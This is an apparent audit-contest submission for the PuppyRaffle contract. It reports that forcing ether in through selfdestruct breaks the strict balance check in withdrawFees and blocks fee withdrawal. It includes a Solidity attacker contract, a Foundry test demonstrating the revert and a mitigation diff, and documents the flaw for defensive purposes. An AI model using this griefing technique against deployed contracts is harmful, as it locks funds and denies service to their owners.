Submission Details
Severity:
Selfdestructing a contract can send eth to PuppyRaffle and fee withdrawal will be impossible
[M-3] Selfdestructing a contract can send eth to PuppyRaffle and withdrawFees will fail
Description:
Checking the address total balance is fragile in the sense, if a malicious user sends some eth to the contract by self destructing another contract, then the check require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
will always fail, even if there are no players at the moment.
Impact:
Medium
Tools used:
foundry, manual
Proof of Concept:
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
contract SelfDestruct {
address payable victim;
constructor(address payable _victim) {
victim = _victim;
}
receive() external payable {} // added for the contract to directly receive funds
function close() public {
selfdestruct(victim);
}
}
function testUsingSelfDestructContractSendEth() public playersEntered{
SelfDestruct selfDestruct = new SelfDestruct(payable(address(puppyRaffle)));
vm.startPrank(address(selfDestruct));
vm.deal(address(selfDestruct), 1 ether);
vm.stopPrank();
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
puppyRaffle.selectWinner();
selfDestruct.close();
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}
Recommended Mitigation:
diff --git a/src/PuppyRaffle.sol b/src/PuppyRaffle.sol
index 2685900..3a1f85e 100644
--- a/src/PuppyRaffle.sol
+++ b/src/PuppyRaffle.sol
contract PuppyRaffle is ReentrancyGuard, ERC721, Ownable {
/// @notice this function will withdraw the fees to the feeAddress
function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
Updates
Lead Judging Commences
Hamiltonite over 1 year ago
Submission Judgement Published Assigned finding tags:
greifers-send-money-to-contract-to-block-withdrawfees
Rewards breakdown
nSLOC
143This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.